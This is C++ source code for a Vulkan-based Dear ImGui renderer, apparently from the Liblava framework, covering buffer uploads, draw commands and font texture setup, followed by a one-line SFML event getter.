descriptor->add_binding(0, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, VK_SHADER_STAGE_FRAGMENT_BIT); if (!descriptor->create(device)) return false; layout = make_pipeline_layout(); layout->add(descriptor); layout->add({ VK_SHADER_STAGE_VERTEX_BIT, 0, sizeof(r32) * 4 }); if (!layout->create(device)) return false; pipeline->set_layout(layout); pipeline->set_auto_size(false); descriptor_set = descriptor->allocate(); pipeline->on_process = [&](VkCommandBuffer cmd_buf) { if (!activated() || !on_draw) return; new_frame(); if (on_draw) on_draw(); render(cmd_buf); }; initialized = true; return true; } void gui::destroy() { if (!initialized) return; for (auto& mouse_cursor : mouse_cursors) { glfwDestroyCursor(mouse_cursor); mouse_cursor = nullptr; } invalidate_device_objects(); ImGui::DestroyContext(); initialized = false; } bool gui::capture_mouse() const { return ImGui::GetIO().WantCaptureMouse; } bool gui::capture_keyboard() const { return ImGui::GetIO().WantCaptureKeyboard; } void gui::set_ini_file(fs::path dir) { dir.append(_gui_file_); ini_file = dir.string(); ImGui::GetIO().IniFilename = str(ini_file); } void gui::invalidate_device_objects() { vertex_buffers.clear(); index_buffers.clear(); descriptor->free(descriptor_set); descriptor->destroy(); descriptor = nullptr; pipeline = nullptr; layout->destroy(); layout = nullptr; } void gui::render(VkCommandBuffer cmd_buf) { ImGui::Render(); render_draw_lists(cmd_buf); frame = (frame + 1) % max_frames; } void gui::render_draw_lists(VkCommandBuffer cmd_buf) { auto draw_data = ImGui::GetDrawData(); if (draw_data->TotalVtxCount == 0) return; auto& io = ImGui::GetIO(); auto vertex_size = draw_data->TotalVtxCount * sizeof(ImDrawVert); if (!vertex_buffers[frame]->valid() || vertex_buffers[frame]->get_size() < vertex_size) { if (vertex_buffers[frame]->valid()) vertex_buffers[frame]->destroy(); if (!vertex_buffers[frame]->create(device, nullptr, ((vertex_size - 1) / buffer_memory_alignment + 1) * buffer_memory_alignment, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, true, VMA_MEMORY_USAGE_CPU_TO_GPU)) return; } auto index_size = draw_data->TotalIdxCount * sizeof(ImDrawIdx); if (!index_buffers[frame]->valid() || index_buffers[frame]->get_size() < index_size) { if (index_buffers[frame]->valid()) index_buffers[frame]->destroy(); if (!index_buffers[frame]->create(device, nullptr, ((index_size - 1) / buffer_memory_alignment + 1) * buffer_memory_alignment, VK_BUFFER_USAGE_INDEX_BUFFER_BIT, true, VMA_MEMORY_USAGE_CPU_TO_GPU)) return; } auto vtx_dst = (ImDrawVert*)vertex_buffers[frame]->get_mapped_data(); auto idx_dst = (ImDrawIdx*)index_buffers[frame]->get_mapped_data(); for (auto i = 0; i < draw_data->CmdListsCount; ++i) { auto const* cmd_list = draw_data->CmdLists[i]; memcpy(vtx_dst, cmd_list->VtxBuffer.Data, cmd_list->VtxBuffer.Size * sizeof(ImDrawVert)); memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx)); vtx_dst += cmd_list->VtxBuffer.Size; idx_dst += cmd_list->IdxBuffer.Size; } VkMappedMemoryRange const vertex_range { .sType = VK_STRUCTURE_TYPE_MAPPED_MEMORY_RANGE, .memory = vertex_buffers[frame]->get_device_memory(), .offset = 0, .size = VK_WHOLE_SIZE, }; VkMappedMemoryRange const index_range { .sType = VK_STRUCTURE_TYPE_MAPPED_MEMORY_RANGE, .memory = index_buffers[frame]->get_device_memory(), .offset = 0, .size = VK_WHOLE_SIZE, }; std::array<VkMappedMemoryRange, 2> const ranges = { vertex_range, index_range }; check(device->call().vkFlushMappedMemoryRanges(device->get(), to_ui32(ranges.size()), ranges.data())); layout->bind(cmd_buf, descriptor_set); std::array<VkDeviceSize, 1> const vertex_offset = { 0 }; std::array<VkBuffer, 1> const buffers = { vertex_buffers[frame]->get() }; device->call().vkCmdBindVertexBuffers(cmd_buf, 0, to_ui32(buffers.size()), buffers.data(), vertex_offset.data()); device->call().vkCmdBindIndexBuffer(cmd_buf, index_buffers[frame]->get(), 0, VK_INDEX_TYPE_UINT16); VkViewport viewport; viewport.x = 0; viewport.y = 0; viewport.width = ImGui::GetIO().DisplaySize.x; viewport.height = ImGui::GetIO().DisplaySize.y; viewport.minDepth = 0.f; viewport.maxDepth = 1.f; std::array<VkViewport, 1> const viewports = { viewport }; device->call().vkCmdSetViewport(cmd_buf, 0, to_ui32(viewports.size()), viewports.data()); float scale[2]; scale[0] = 2.f / io.DisplaySize.x; scale[1] = 2.f / io.DisplaySize.y; device->call().vkCmdPushConstants(cmd_buf, layout->get(), VK_SHADER_STAGE_VERTEX_BIT, sizeof(float) * 0, sizeof(float) * 2, scale); float translate[2]; translate[0] = -1.f; translate[1] = -1.f; device->call().vkCmdPushConstants(cmd_buf, layout->get(), VK_SHADER_STAGE_VERTEX_BIT, sizeof(float) * 2, sizeof(float) * 2, translate); auto vtx_offset = 0u; auto idx_offset = 0u; for (auto i = 0; i < draw_data->CmdListsCount; ++i) { auto const* cmd_list = draw_data->CmdLists[i]; for (auto c = 0; c < cmd_list->CmdBuffer.Size; ++c) { auto const* cmd = &cmd_list->CmdBuffer[c]; if (cmd->UserCallback) { cmd->UserCallback(cmd_list, cmd); } else { VkRect2D scissor; scissor.offset = { (i32)(cmd->ClipRect.x) > 0 ? (i32)(cmd->ClipRect.x) : 0, (i32)(cmd->ClipRect.y) > 0 ? (i32)(cmd->ClipRect.y) : 0 }; scissor.extent = { (ui32)(cmd->ClipRect.z - cmd->ClipRect.x), (ui32)(cmd->ClipRect.w - cmd->ClipRect.y + 1) }; std::array<VkRect2D, 1> const scissors = { scissor }; device->call().vkCmdSetScissor(cmd_buf, 0, to_ui32(scissors.size()), scissors.data()); device->call().vkCmdDrawIndexed(cmd_buf, cmd->ElemCount, 1, idx_offset, vtx_offset, 0); } idx_offset += cmd->ElemCount; } vtx_offset += cmd_list->VtxBuffer.Size; } } bool gui::upload_fonts(texture::ptr texture) { uchar* pixels = nullptr; auto width = 0; auto height = 0; ImGui::GetIO().Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); if (!texture->create(device, { width, height }, VK_FORMAT_R8G8B8A8_UNORM)) return false; auto upload_size = width * height * sizeof(char) * 4; if (!texture->upload(pixels, upload_size)) return false; VkWriteDescriptorSet const write_desc { .sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET, .dstSet = descriptor_set, .dstBinding = 0, .descriptorCount = 1, .descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, .pImageInfo = texture->get_info(), }; device->vkUpdateDescriptorSets({ write_desc }); return true; } } // lava void lava::setup_font(gui::config& config, font::ref font) { if (load_file_data(str(font.file), config.font_data)) { config.font_size = font.size; log()->debug("load {}", str(font.file)); } if (load_file_data(str(font.icon_file), config.icon.font_data)) { config.icon.size = font.icon_size; config.icon.font_data = config.icon.font_data; config.icon.range_begin = font.icon_range_begin; config.icon.range_end = font.icon_range_end; log()->debug("load {}", str(font.icon_file)); } }
#include "event.hpp" sf::Event Event::get_Event() const { return event; }